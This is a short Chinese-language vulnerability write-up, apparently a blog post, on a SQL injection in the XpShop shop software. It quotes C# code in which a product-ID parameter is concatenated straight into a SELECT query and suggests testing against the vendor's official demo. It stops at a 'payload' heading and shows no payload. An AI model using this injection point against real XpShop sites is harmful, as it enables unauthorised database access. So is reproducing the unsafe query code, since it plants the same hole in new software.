漏洞位置xpshop.webui.Show:

private void GetImg(string pids)
{
ProductDB productDB = new ProductDB();
DataTable thumbnailImg = productDB.GetThumbnailImg(pids);
thumbnailImg.TableName = "Products";
base.Response.Write(XpShopJson.DtToJSON(thumbnailImg));
}

这里是问题函数，我就不写怎么跟进来的，就是page_load,等下直接用payload测试就好了，官网demo的。

跟进去GetThumbnailImg函数：

public DataTable GetThumbnailImg(string pid)
{
string commandText = "SELECT ProductID,ProductName,ThumbnailImg,CategoryID,CategoryNo FROM Product WHERE ProductID = " + pid;
return XpShopDB.ExecuteDataTable(XpShopDB.ConnectionString, CommandType.Text, commandText, null);
}

payload：
